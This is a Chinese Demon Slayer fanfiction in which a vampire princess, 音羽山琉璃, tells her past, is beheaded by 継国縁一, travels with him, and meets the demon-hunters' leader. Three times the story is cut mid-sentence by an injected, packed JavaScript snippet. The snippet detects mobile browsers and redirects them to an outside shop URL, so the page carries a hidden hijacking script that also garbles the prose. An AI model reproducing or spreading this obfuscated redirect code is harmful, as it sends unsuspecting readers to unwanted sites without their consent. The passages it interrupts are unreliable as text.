《[鬼灭]吸血鬼也是鬼?》 1. 一只血族 “终于逮到你了!恶鬼!” 话音刚落,一把长刀横在了音羽山琉璃的颈脖间,甚至在冷白的皮肤上留下了一道鲜艳的血痕。 如果不是她长得和普通人类一模一样,恐怕这把刀会毫不犹豫地将她的脑袋斩下来,而不是只留下这种简单的擦伤。 啊,原来如此。 没有直接杀了她,是因为这个男人无法肯定她就是鬼吧。 很显而易见的,音羽山琉璃并不是那种可悲又卑贱的东西。 反倒是面前这个脸上横跨了几道疤痕,表情凶恶的男人更像恶鬼。 这么想着,琉璃也就直言不讳地说了:“你才是鬼吧。” 男人眉头紧紧蹙起,怒目圆睁,生气地吼着:“你说什么!我当然不是了,你居然敢倒打一耙污蔑我!” 好情绪化的一位男性。 事实上,男人口中说的“鬼”并不某种灵体,也不是对什么恶人的形容词,而是真真正正以人类为食的可怕生物。 他们的起源能追溯到很久很久以前的平安时期,不过听男人的意思,现在的鬼依旧猖狂,她已经很少外出了,却随便就能碰到一位出任务的猎鬼人。 音羽山琉璃手指按住刀刃,想将长刀推开,可男人依旧警惕,刀身震开细嫩的手,重新抵住颈脖,并呵斥道:“别动!” “你不想让我动,也不敢真的将我砍死,何必呢?”她指着自己刚刚被划出血痕的脖子,说道:“看清楚一点,你们的刀对我根本不起作用,看到了吗?这里已经快要愈合了。” 看见了,并且看得很清楚。 女性的皮肤特别特别白,红色的血痕更为明显,所以也能看得更清楚,她脖子上的伤痕在几句话的时间里就已经愈合,只留下了一道黑褐色的印子。 不死川实弥顿时有些迟疑,不过很快他就察觉到了不对劲的地方,差点就要放下的刀又举了回去,厉声道:“人类可没有你这种愈合速度,你分明就不是人!而且,如果不是鬼,你又是从哪里得到的消息,我们的刀可以杀鬼?!” 音羽山琉璃闭上眼睛,双手抄在袖子里,说道:“那这可就说来话长……喂!你干什么!” 没等她说完,不死川实弥便揪着她的衣领,找了一块床单,三两下将其砍成布条,将人结结实实地捆在了一把实木椅子上。 那把刀还没离开脖子多久,又重新架了回来。 凶恶的男人面若恶鬼,居高临下地俯视着死死捆在椅子上的女性,威胁道:“说,你是否是杀害镇上村民的恶鬼,是否还有其他同伴?” 音羽山琉璃:“如果我是鬼,你现在是没有办法这样嚣张的。” “你想现在就死?” “……好凶啊,你先冷静一点,听我说完吧。” 眼前的男人对鬼有着浓烈的恶意和恨意,也正是因为可以理解这种情绪,音羽山琉璃才能原谅他对自己的无礼。 “先自我介绍一下,我的名字叫做音羽山琉璃,并不是鬼,别把我和鬼舞辻无惨那个家伙牵扯到一起。”琉璃微微抬起下巴,躲开刀刃:“或许你可以你可以收起这个东西,礼貌一点听我讲一个故事。” 鬼的身体里蕴藏着鬼辻舞无惨的血液,他们是无惨的眼睛、耳朵,偶尔也会被无惨操控身体,如果真的是鬼,是无法直呼鬼王的名字的。 不死川实弥侧头看了一眼天色。 鬼只要照到太阳便会死去,这个时间,他也不怕眼前的女人是在等待什么。 故事不会太长,听一听也无所谓。 他将日轮刀收回刀鞘,抱臂倚着柜子,右手就在刀柄附近,确保可以在异动发生的第一时间将刀拔出来应对。 音羽山琉璃叹了口气。 鬼舞辻无惨那家伙还活蹦乱跳的,这真是个令人不快的消息。 早在几百年前,音羽山琉璃还不是音羽山琉璃。 她的名字倾注了母亲和哥哥的所有爱意,叫做爱莉。 和这个穷兮兮的东方国度不同,她出生在暗夜与荆棘笼罩的城堡,有着敬重自己的仆人,从小到大就没受过什么委屈,母亲和哥哥都很依着自己,各种要求都尽量满足。 设定听上去可能是有点老土了,作为血族血脉最为纯净的女纯血,她现在是公主,未来是皇后,肩上扛着延续纯血血脉的重担,这也是她从小到大根深蒂固的思想。 直到有一天,爱莉正在对一个笨手笨脚的侍女进行惩罚,哥哥正好撞见这一幕,第一次制止了她,甚至还用冰冻住了她的手。 哥哥说:“爱莉,你当然可以对任何人做任何事,但未来的皇后不应该因为这点小事就苛责别人,你要大度一些了,不是吗?” “她摔碎了我喜欢的杯子,弄撒了我爱喝的茶。”爱莉反问:“我只是用鞭子抽她,难道还不算大度吗?” 哥哥平静的眼神冷下来许多,“杯子可以再做,茶也可以再泡,你打伤侍女,谁来照顾你?” “?”她有点不太懂这句话了。 后来爱莉才知道,哥哥早就和这个混血血族厮混在了一起,还承诺了以后要娶她。 霸道皇族爱上卑贱女仆的故事她只在人类的民间传说中听过,没想到这种事情真的发生在了她身边,而且还是自己的亲哥哥。 爱莉有点接受不了,她完全无法忍受自己未来的丈夫会在迎娶自己之前先占有一个连杯子都端不好的混血。 愤怒的王女在亲哥的房间里放了一把火,在火势一点一点蔓延的时候干脆利落地转身离开,走出了血族的领地,跑到了人类的领地。 只是这个线路有点歪,爱莉还很固执,坚信自己没有走错路,登上一艘船,来到了一个完全陌生的国度。 一开始她还以为语言不通是因为种族不同的问题,等学会了这个国家的语言,她才发现了大问题。 ——这根本就不是她熟知的人间。 但是吧,来都来了,爱莉便跟着船上的渔民在海边定居。 那里的人很好,看她年纪不大,又是个女孩子,于是收拾了一间遗弃的小屋给她落脚。 小屋破破烂烂,爱莉和渔民缝缝补补,倒也住了个十几年。 然而,在经历了两代人的传承后,之前和她同样大的小孩都有了后代,甚至他们的后代长得都和她同样高了,她却依旧没有变化,问题也开始显现,他们似乎在怕她。 意识到时,她与村子里的人关系已经疏远许久了。 那天有一个小孩朝她扔石头,说她是不死的老婆婆。 爱莉有点生气,生气之余,她意识到了自己确实该离开这里了。 她抓走了那个臭小孩,打算带他走一段路来吓吓他。 血族纯血不惧怕阳光,但晒久了还是会有很大影响。 琉璃在晚上走着,途中遇到了一只长相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294854|198552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奇怪,还会说话的怪东西。 那个东西以为她是同类,还想分给她一条人类的手臂,让她路上带着吃。 作为交换,怪东西想咬这个小孩一口,就一口。 小孩什么都听得懂,哇的一声就哭了。 爱莉讨厌这种刺耳的声音,揪住小孩的嘴巴,对怪东西说不行。 怪东西有点遗憾,却也没把贡献出来的那条胳膊要回去。 聊天过程中,怪东西还问了为什么她会带着一个人类的小孩走动,听完爱莉的回答,他砸吧砸吧嘴,说:“自己的孩子突然不见了,他的父母肯定会很难过吧。” 爱莉坦言:“可是他骂我是老不死的,我很生气,我不想放他回去。” “这简单啊。”怪东西提了一个建议:“你把他的父亲母亲一起带走,这样他们就可以团聚,也不会难过了。” 爱莉灵光一闪,觉得他说的有道理极了,于是点点头,拜托怪东西帮她照顾小孩,她返回去把小孩的父母也带出来。 结果。 等她将那对年轻父母掳走,重新回到这个地方时,这里已经没有了怪东西,也没有了小孩。 只剩下一滩血池,还有一只被吃得露出白骨的小手掌。 看着浸在血泊当中的手,爱莉默然站立许久。 半晌,她喃喃道:“我真是个蠢货,怎么会将年幼的羊交给饥饿的狼。” 愚蠢让她犯下了一个错误,让一个年幼的孩子失去了他的性命,让一对父母失去了一个孩子。 她记得那个怪东西说,人类都叫他鬼。 鬼。 鬼都是为了目的不择手段的狡诈生物,她无法再去信任那些吃人的东西。 为了赎罪,爱莉给了那对父母一个机会,她可以给他们力量,只是他们以后也不会再是人类,也无法直接在阳光下行走。 仇恨让那对父母不管不顾,和琉璃交换了血液,成为了最低等的血族。 其实爱莉还挺高兴的。 这十几年的渔民生活让她对人类很亲近,但说实在的,没有族人的生活多少也有些孤独,即使是低等的血族,这也算她的族人,还是她亲手转化的族人。 在几年后的某一天,这对父母终于追寻到了那只吃掉自己孩子的鬼,被爱莉亲手培养出来的血族轻而易举就将它杀死,只是她不知道,那只鬼在死前还透露了一个消息。 “你们的孩子,可是被她亲自带出村子的。” 被捏爆脑袋的鬼只剩一张嘴,苟延残喘着:“如果不是她,我也吃不到那样美味的幼童……哈哈哈……你们也真是可悲,对仇人感恩戴德,被仇人驱使的滋味如何啊?” 他们不相信鬼说的话,回来询问爱莉这件事的真假,她做不到对族人说谎,最后还是道出了真相。 那对夫妻很生气,但更多的是迷茫和绝望。 他们有点疯了,想置自己的主人于死地。 血仆的反噬伤及到爱莉的身体,她花了些功夫反击,一边流着眼泪,一边捅穿了族人的额头。 捂着自己残缺的一条手臂,她哭得上气不接下气。 就在这个时候,一把刀横在了她的颈脖间。 “恶鬼。” 锋利的刀刃划出血痕,砍进血肉。 爱莉只听到了男人平静到冷酷的声音。 “斩。” 她被斩下了首级。 2. 两只血族 斩下爱莉脑袋的男人有着一头如同烈焰一般的长发。 挥动刀剑时,她好像看见了有炽热的火焰燃起,冲散了周遭的血气,也让爱莉久违地感觉到了连心脏都被灼伤的疼痛。 在这一瞬间,她想起了刚在海边住下的时候。 那天,她的身上穿着层层叠叠的漂亮裙子出现在码头。 那种华贵和美貌在灰头土脸的渔夫渔女们之间格外突出,所有人对她都是恭恭敬敬的,以为她是皇室贵族或有钱的外邦人。 听闻她要住下,又热心地忙前忙后,希望得到一些钱财,从她这里捞到一些好处。 爱莉确实将自己身上的金银珠宝都奖励给了他们,只要有钱,她在这里就是最尊贵的大小姐。 不过好景不长,带出来的东西迟早有用光的一天,渔民们发现离家出走的大小姐没有钱财了,就开始打起了别的主意。 没有好处,可是无法驱使人类的。 在一个夜晚,爱莉在自己的床上按住了一个想要解开她衣绳的男人。 她记得他。 这个男人总是对她很热情,会给她带水果,给她烤鱼,为她补上破损的屋顶,为她生火烧水,每天都笑得很阳光。 村子里有不少这样的男人。 而这样的男人又总是会有各种理由在夜晚摸到她的房间,想要爬到她的床上。 一开始爱莉不明白为什么会出现这种现象,后来在一个渔女的提醒下她才想明白,原来那些人是想让她诞下子嗣,就算她的贵族家人无法将其寻回,他们也能拥有一个漂亮的老婆,有一个漂亮的孩子。 如果贵族找过来了,那更好,不给够此生让他们衣食无忧的钱财,他们是不会轻易放弃妻女的。 这种算计让爱莉发了很大的脾气,她将那几个男人全都咬死,丢在了他们的房前。 自那天起,渔民们再也不敢打她的主意,一点一点远离了爱莉居住的小屋,战战兢兢老老实实地过了十几年。 那对后来成为她同族的夫妻,爱莉也是认识的。 他们有过几面之缘,在渔民们都很怕她的时候,有主动给她送上水果,和她说话。 两个人结成连理时,爱莉也有到场送去祝福,他们都很高兴,还说以后生了孩子,要让那孩子喊她义姐。 只可惜……那孩子看见她的第一句话不是喊义姐,那对和她关系要好的夫妻最后也和她反目成仇,落得这样的下场。 离开家人之后的生活,居然如此可悲啊。 难道她从始至终,都在做着错事吗? 头颅掉在地上,咕噜咕噜滚出去一段距离,爱莉依旧在掉眼泪,泪水和血水混合在一起,不知道有多惨。 砍掉爱莉脑袋的人面无表情的,站在那里看了好一会儿,发现她的身体根本就没有消散的迹象,这才靠近了一些,将倒在地上的头捧起来,举高。 那双眼睛细细地打量着这张满是血污和泪痕的脸,即使是狼狈到这种程度,这张脸也好看得不得了,如果被一些特殊爱好的人捡到这个头颅,可能还会将其带回去珍藏。 “你……”他赤色的眼眸中显露出疑惑:“不是鬼?” 说完这句话,青年又上下看了看少女的头颅,确认了她与鬼确实存在不同,在一瞬间的无措后,他捧着脑袋回到了她的身体旁,扶起倒下的身体,将脑袋严丝合缝地接回了那切割面整齐的颈脖。 血液与血液连接,被切开的脖子很快愈合,爱莉擦了擦眼泪,抬头看着那个外表冷酷的青年。 “你、你是谁啊?”她抽泣了一声,“为什么要攻击我?” 纯血的血族不会因为捏碎心脏或是砍掉脑袋就轻易死掉,而且他的刀很快,快的几乎不带来什么痛感,琉璃没有多生气,她只觉得莫名其妙。 砍错人的青年有点心虚,按在刀柄上的指腹小幅度地摩挲了一下,沉默半晌后,开口道:“我叫继国缘一。” 至于第二个问题,他没有回答。 爱莉没有在意,这一个晚上发生的事情太多,她已经很累了,况且现在天边已经泛起鱼肚白,再过不久,太阳就要升起来了。 这种天刚破晓的阳光对她不会造成什么伤害,但等太阳彻底悬于天空中,她就必须要回到屋子里,或是躲在无法透光的伞中。 继国缘一看她要走,没有出声,隔了一段距离跟在她身后,一路跟着她来到了一颗遮天蔽日的绿树下。 爱莉只能走到这里了,夏天的太阳晒得很不舒服,夜晚也耗费了太多力量,她已经走不动了。 有斑驳的光影洒在草地上,她缩在靠近树根的位置,那里被层层叠叠的树叶遮得严严实实,只有零星的光斑点在腿部的衣物上。 青年停在她的面前,看着她满脸血污浑身破碎凄惨的模样,顿了顿,才问:“你是什么人?为何能够像鬼一样迅速愈合,也像鬼一样惧怕阳光?” 说是惧怕阳光,好像也没有多怕的样子,似乎只要不被阳光直射,她也可以完好无损地在白天出现。 他的日轮刀是用特殊的矿石制作的,能够限制鬼的再生能力,用日轮刀斩下鬼的脖子,鬼就会消散,彻底死亡。 而这个少女被砍下脖子也不会死,日轮刀似乎确实有限制她的再生,但是这种限制很微小,和鬼完全不一样。 她不是鬼,却也不是人。 爱莉在树下坐了一会儿,现在已经感觉好很多了,她倚在树上,回答道:“我知道你说的那种生物,不过别将我和他们混为一谈,我是尊贵的血族,并不是依靠什么东西进化的变异种。” 继国缘一是第一次听说这个种族,不过从她完全不掩饰的轻蔑态度来看,她是一点都看不上那些鬼,而且非常不屑于它们为伍。 不过她的名字,是叫绘里? 爱莉看出了他的疑惑,用落叶摆出自己名字的拼写,说:“是爱莉。” 那些歪歪扭扭的字母继国缘一看不懂,不过他有看过白人武士使用这种文字。 说起来,面前的少女和他们的面容确实有些相似,雪白到显眼的皮肤,深邃立体的五官,嫣红的嘴唇,她应该和那些白人武士来自同一个地方。 ……等等。 眼前这个自称“血族”的人,是否为鬼舞辻无惨将番人变成鬼之后进化成的新种族呢? 想起昨天夜晚看见到的血腥画面,少女将血肉哭喊着送入嘴里的模样依旧记忆深刻,那就是恶鬼的模样。 继国缘一的大拇指往上一推,露出一节刀身。 就算有所不同,恶鬼必斩。 爱莉因为族人的背叛此时还有些难过,没有注意到他的动作,她只说:“会叫我名字的人,现在应该都不在了,接下来我也不知可以去往何处,离开家几十年便如此狼狈的回去……” 绝对会被笑话死的。 就算回去,也要堂堂正正风风光光的回去,能证明自己没有兄长和母亲的帮助便能掌控一方领土是最好。 爱莉突然想到什么。 听闻这个国家有不少领主,反正人类愚蠢又脆弱,她要是将领主们蛊惑成血仆,这个国家不就能彻底掌控在她的手里了吗?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294855|198552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她眼睛一亮,看向眼前的人类。 “你很强,先生。”爱莉说:“要与我同行吗?如果是我们的话,一定能将异端驱尽,得偿所愿。” 继国缘一听到这句话,又将刀柄按了回去。 “异端驱尽?”他问。 爱莉点点头。 “得偿所愿?”他又问。 爱莉再次点点头。 继国缘一没有立刻同意,他见爱莉此时虚弱,树外也都是阳光无法逃跑,于是返回了他们昨晚相遇的地点查看。 那里已经没有了什么尸体,只剩下大片大片干涸的血迹证明昨天确实有惨案发生。 那两个人的身体明明已经支离破碎,绝无生还的可能……此时没有尸体,只能说明他们也是鬼或者其他异族。 继国缘一得到了自己在意的答案,重新回到树下,对爱莉说:“我们可以同行。” 没等爱莉回答,他又说:“但,如果我发现你伤害了人类,我将会砍下你的头颅。” 伤害人类?哪种伤害?如果一个人类心甘情愿为她献上鲜血,那是不是伤害人类? 爱莉挺想问的,不过直觉告诉她问出这个问题很危险,所以她只是默默应下,不敢乱说话。 休憩一会儿,到了太阳完全下山时两个人才重新出发。 继国缘一赶路的速度很快,才半个时辰不到,他就到了下一个村落。 爱莉累得气喘吁吁,缘一却连呼吸都没乱,脚步沉稳,脸上也没什么表情变化。 他站在漆黑又空荡的小径间,抬头看向远处,根据情报所说,有鬼出现的村落就是这个。 可……这里没有鬼的气息。 爱莉白天被太阳晒得蔫蔫的,连脸都来不及洗就跟着继国缘一赶路,现在浑身上下都是脏兮兮的,衣服破破烂烂还沾着血污,弯腰撑着膝盖喘气的时候,她自己都有点嫌弃自己的衣服太脏。 她嘴角向下,委屈巴巴的:“缘一,我想洗澡。” 继国缘一微微侧头:“没有地方给你洗澡。” “那怎么办?我感觉我现在浑身散发着臭气。”爱莉抬起手,又脏又烂的袖子连手肘都遮不住:“像是从臭水沟里捞出来的一样。” 他的鼻子动了动,真的在闻爱莉身上的味道,闻完之后,他回答:“没那么香。” 爱莉:“!” 难道不是没那么臭吗?没那么香是什么意思! 这个玩笑一点都不好笑! “真是够了。”她不满地鼓起腮帮子:“我要去敲门,借村民的屋子洗澡。一定会有好心的人类借我澡盆的,他们才不像你一样冷漠无情。” 继国缘一看着她走到一扇门前停下,抬手正要敲门,出声制止道:“绘里……” 爱莉打断他:“是爱莉,在你能正确喊出我的名字之前,我是不会听你说话的。” “叩叩叩。” 指关节敲在老旧的木门上,发出沉闷的响声。 在短暂的一片寂静之后,伴随着轻轻的“吱呀”一声,面前的木门开了一条小缝。 紧接着,黑暗之中出现了一只眼睛。 爱莉刚露出笑容,想先来一个亲切的问候,结果门后面的人突然抽了一口凉气,“嘭”的一下将门重重合上,根本就没有给爱莉说话的机会。 “……”爱莉僵硬转头,问继国缘一:“为什么?我难道不可爱吗?” 继国缘一双手环胸,沉默地转头。 反正在他能够正确喊出她的名字之前她是不会好好听话的,那他现在说了也没用。 3. 三只血族 在这个村子里,爱莉一脸吃了三个闭门羹。 向来在容貌上很有自信,觉得自己脸上就算画满了油彩,也依然美得很稳定的王女有点崩溃了。 她颓废地蹲在墙角,像是一朵巨大的野生菌菇,完全自闭。 而就在这个时候,一碗水出现在了她的面前。 微微掀起波澜的水面上倒映着明月,端着碗的手有些粗糙,但因为手指修长指骨分明,显得依旧很好看。 顺着手臂看上去,青年的脸上依旧没什么表情波动,在清冷的月光下,他给人的感觉很冷漠,可就是这样冷漠的一个人,却在她非常难过时为她借来了一碗水。 爱莉快感动哭了,她决定收起对继国缘一的抱怨,他哪里是什么木头呆瓜,他明明就是心软的神! “谢谢你,缘一。”她真诚地说:“我以后再也不会在心里偷偷骂你了。” 青年将碗放在地上,语气平淡:“快洗吧。” “嗯嗯!” 爱莉连忙鞠了一捧水扑在脸上,只是因为距离有点远,很多水都还没有接触到脸就纷纷从指缝中漏到衣服上,继国缘一又将碗端起来,尽量离她的脸近一些,避免浪费。 看着面前的小姑娘像水獭一样洗脸,他沉默了半晌,开口道:“绘里……” “不是绘里,是爱莉。” “……”他目光放空一瞬,怎样都好,他真的觉得发音没有区别。 不过为了以后能够避免这种无用的沟通,继国缘一还是再次开口:“你还是换一个名字吧。” 爱莉一愣,手也放下来,问:“你要给我取新名字吗?” 继国缘一:“不……”你自己取。 “好呀!”爱莉眼睛亮晶晶的,很是期待地看着他:“渔村的人之前也想给我取一个新的名字,但是那些梅子、花子、幸子我一点都不喜欢,你一看就读了很多书的样子,你帮我取个好听的吧!” 面对着这样的眼神,青年一直手揣在怀里,不由得开始认真思考一个像样的名字。 他有所听闻,从这里远眺能看得见的那座高峰,叫做音羽山。 那里生活着各种各样的鸟类,只要是有人类踏足,鸟儿就会发出清脆的鸣叫,就像是用鸟叫声组成悦耳的乐曲,就连翅膀扇动的声音也十分动听。 “姓氏就叫音羽山吧。”他说。 爱莉乖巧记下发音,并欣喜道:“这个姓氏好特别哦,渔村的人都没有姓,他们都想不出什么好点子,不愧是缘一,轻而易举就说出了很好听的姓呢,那名字呢?” 名字。 继国缘一看着面前的少女,她已经将整张脸都清洗干净,露出了原本摄人心魄的美丽面容,那双眼睛清澈,让他想起了以前在家里看到的那颗琉璃珠。 当有光汇聚一点照在琉璃珠上时,那颗珠子会呈现出清透美丽的蓝色。 他说:“名字,叫琉璃。音羽山琉璃。” 是非常美丽的名字。 爱莉很喜欢这个名字,自己念了好几遍。 这幅模样倒是让继国缘一心情也很好,他的目光平静而包容,像是在看着自家的小辈,视线触及到她还残留着血迹的下巴,青年将指尖打湿,喊道:“琉璃,抬起头来。” 琉璃听话地抬起头,绷直了脆弱的咽喉。 有些粗糙的指腹擦拭着下巴,将那一点血迹清理干净。 结束后,他道:“好了。” 琉璃重新将脑袋低回去,抬手用袖子擦了擦残留着湿意的下巴。 继国缘一又看了一会儿,掌心拍了拍琉璃的脑袋,然后才将空了的碗放回到那户村民家的门前,并说:“这里没有鬼的气息,我们要往前走。” “如果一直看不到鬼,要一直往前走吗?”琉璃跟在继国缘一身侧这样问。 他说:“要,直到看见鬼为止。” “万一他们在你来的时候躲起来了,等你走后又出来吃人呢?” 继国缘一停下脚步,似乎真的在考虑这种可能,不过在短暂的思考后,他看向琉璃:“如果鬼躲起来,你能发现吗?” “当然了,那种低等劣质的血液很臭。”琉璃扇扇鼻尖:“就算离得很远,那股臭味我也闻得到。” “是吗?” “是啊,鬼一旦决定隐匿,就像一只老鼠一样,有洞就钻,有地方就藏。”琉璃双手环胸,悠哉走在前面:“不过在我面前,这些都不是问题,只要他们在附近,我就能闻得到。” 继国缘一不置可否,沉默地走在琉璃身后。 夜晚很长,而且继国缘一的坚持真的有收获。 他们两个在十几公里外的一个小镇上发现了鬼的踪迹,一开始只是一滴新鲜的血液,琉璃敏锐地闻到了专属于鬼的那种臭味,在锁定方向的那一瞬间,继国缘一的刀就已经出鞘了。 在冷月与暗夜当中,琉璃又看见了耀眼的火光,在火光转瞬即逝之际,隐藏在暗处的鬼脑袋就掉了下来,身体也慢慢消散,直至整只鬼都化为尘埃,她都没看这只鬼到底长成什么样。 好快的身法,好快的刀。 琉璃站在屋顶上为他鼓掌。 昨天晚上他也是这样把自己的头砍掉的,好壮观。 长刀收入刀鞘,轻而易举就杀掉一只恶鬼的青年表情未变,宛如只是完成了一次呼吸一般轻松。 明明身为人类,感知比她还要敏锐,动作比她还要迅速。 琉璃之前还在怀疑继国缘一是否能及时发现藏匿起来的鬼,现在他用实际行动证明了自己——完全没有问题。 真厉害啊,还好跟在了继国缘一身边,就这种身手,不管做什么他都会成功的。 找了一晚上的鬼,杀了它也就是一瞬间的事情。 此时天还未明,琉璃问他接下来还有什么事情要做,继国缘一目前还没有接到其他任务,他想了想,决定先带着琉璃去见灭鬼人的首领。 灭鬼人的首领也是继国缘一的首领,既然想要利用继国缘一的强大,琉璃与他的首领相见也是迟早的事情。 可是她现在不想去,她只有一件脏兮兮的衣服,过去的几十年没有让她累积多少财富,现在连一件像样的衣服都买不起。 既然是去见身份尊贵的人,这副模样怎么行呢? 琉璃没有多想便拒绝道:“我不去,如果你要回去复命,那我就在附近的镇子上等你。” 继国缘一以为她是害怕,于是说道:“主公他为人温和,待人和善,你不用怕他苛责你,也不用担心他们会把你当成鬼。” 琉璃后退几步,连连摇头:“不要不要,不去不去。” “为何?” “你看我,脸都是刚刚才洗干净的,哪里有一个访客的样子?”她背过身,拒绝交流:“这副模样过去也太没有礼仪了,我不去。” 继国缘一没有再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294856|198552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 劝,沉默地看了她的背影半晌,然后才说去找一个屋子休息,等到明天黄昏时分再去下一个地点。 琉璃听他这么说,心里好受一些,没有再抵触和继国缘一交谈,还主动去寻找可以休息的地方。 …… 镇上实在没有废弃的屋子留给他们,两个人转了一圈,眼看着天要亮了,这才跑去了镇外的山洞,临时造了一个山洞出来,就那样将就地度过了一个白天。 琉璃这段时间消耗很大,休息时几乎都是沉睡,直到太阳下山才清醒过来。 如果这个时候继国缘一想对她动手,她是完全没有抵抗能力的。 一开始她很苦恼这件事情,但后来想到他砍下自己脖子的那速度和力道,就算她有抵抗能力也抵抗不了多久,到底也是释怀了。 而且他很明显是想好好一起同行的,这几天琉璃一睁眼,醒来就能看见继国缘一抱着刀坐在旁边守着。 他总是一副清醒的样子,时刻保持警惕,又对同行的人表露出温和与包容。 怎么说呢,虽然不是同一个物种,而且还被粗暴的对待过,但琉璃醒来的第一眼能看到继国缘一,她的第一反应绝对是安心。 这天赶完路,琉璃再次裹着毯子倒头就昏睡过去,只是在山洞里醒来后,缘一罕见的没在身边。 她迷茫地环顾四周,宽敞的空间里没有人类的呼吸声,她还以为是自己睡懵了,起身里里外外找了几遍依旧没有看见继国一,琉璃靠着洞口坐着,陷入了沉默,也陷入了沉思。 人去哪里了呢? 难道是因为他们的目的地出现了分歧,所以他想要和她分开? 琉璃双手环胸,仔细分析着这种可能性。 不,应该不会的,继国缘一会担心放她一个人乱跑,她会按照天性伤害人类,不会将她随便丢在路边自己走掉的,只有将危险放在身边才最安全,继国缘一不会和她分开。 那他是去……? 琉璃猜不到他会去干什么,只能现在山洞里等待着。 等了好一会儿,太阳在地平线上摇摇欲坠,再过不就便是黑夜,琉璃才看到那个身形修长,黑色长发束在脑后,发尾如同火焰一般耀眼的清秀青年。 他的味道也很特别,琉璃即使听不到他的脚步也能知道他在靠近,立刻从洞口处探出个脑袋,喊道:“你去哪里了缘一?怎么都不和我说一声?” “你睡的很沉,我以为你不会那么快醒。”青年走进山洞,在光能照得到的地方坐下,并从怀中取出了一个包裹:“这个给你。” 琉璃一愣,因为他放在了阳光下,所以她没有直接去解开包裹,而是问:“这是什么?” 继国缘一也没打算让琉璃亲自动手,而是将包裹小心放在地上后,解开了上面的结,露出里面一部分花色好看的布料。 琉璃有点惊喜了。 这是一件很漂亮的衣服,配色舒适,针脚细腻,做工平整,比渔村里总是灰扑扑的衣服要好看很多。 她想触碰,却在触及到阳光前停住。 继国缘一将它往前推了推,正好推到阴影下,柔软的触感贴合指腹,琉璃眼里闪烁着惊喜的亮光,很是感动地看向脸上依旧平静的青年。 “人类也不都是一些让人讨厌的家伙嘛,你就很讨人喜欢。” 她脸上露出大大的笑容。 “谢谢你缘一,我决定以后都要喜欢你啦。” 4. 四只血族 灭鬼人的首领是一个叫做产屋敷的男人。 他有着一头黑色的直发,如同继国缘一说的那样,那是一个说话嗓音温和,脸上时常挂着浅笑的和善之人,明明年岁不大,眼神却满是包容,和他说话就宛如有和煦的风徐徐吹过,忍不住就想和他多说些什么。 不过产屋敷身边的人脾气好像都不是很好,他们每一个人的表情都很严肃凝重,视线紧紧粘在琉璃的身上。 那不是对于女人美色的觊觎,而像是将她当成了什么危险人物,只要她有异动,他们就会很紧张。 有点太夸张了,她只是觉得鬓发有点凌乱,为了形象抬手理了理头发而已,她就听到了手触碰刀鞘的声音。 琉璃下意识往那边看了一眼,那人更是紧张,衣服下的肌肉紧绷着,眼眸虽然是低垂的,但动作却是防备又具有攻击性的。 “抱歉,是我的剑士们无礼了。”产屋敷闭上眼睛,温声说:“大家不必太过紧张,这位是缘一带回来的客人,与无惨并无关系。” 琉璃敏锐地从这段话当中找到了一个重点。 无惨。 名为“无惨”的生物被人类忌惮着,更被厉害的杀鬼人忌惮着。 这种忌惮当中掺杂着浓厚的恨意,不难知道那应该是一个吃了很多人的鬼,并且这里有不少剑士被无惨夺去了重要的事物。 “看来缘一没有为你介绍过。”产屋敷解释道:“鬼舞辻无惨,他已经存活了超过千年,是鬼的始祖,能将人类转化为鬼。” 咦,这个特征…… “那些鬼拥有比人类时期更强大的力量,渴望人类的血肉,即使受了伤也能很快就能痊愈,不过,鬼的弱点也很明显,他们惧怕阳光,只要被阳光照射,他们便会灰飞烟灭。” 这个特征……和血族不是几乎一模一样吗? 音羽山琉璃背都挺直了。 怪不得继国缘一那天晚上会出手那么果断,嗜血吃肉、无限再生、只能在夜晚行动,这完全就是鬼的设定。 她确实对鬼有些了解,也知道血族和鬼是有相似之处的,但继国缘一在砍完她之后又发现了她不是鬼,她还以为两者之间是存在明显不同的呢! 音羽山琉璃表情严肃,正色道:“首领先生,我不是鬼。” 产屋敷笑了一声:“我知道。缘一已经和我说过,你自称为‘血族’,与鬼有许多相似之处,但并不像鬼一样渴求人类的血肉,在与缘一同行期间一直没有伤害过人类。” 琉璃连连点头。 不愧是缘一的首领,是个很明事理的人呀。 跪坐在两旁的剑士明显有话要说,只是没有首领的允许,他不好贸然插话,只能在旁边蹙起眉头,欲言又止,最后闭上眼睛,也闭上了嘴巴。 没有旁人的打扰,琉璃与产屋敷相谈甚欢。 他是一个很好的交谈对象,懂得引导,善于倾听。明明琉璃都已经百岁,而产屋敷只有二十岁不到,琉璃却总觉得他像是一位温和包容的长者,忍不住就多倾诉了几句。 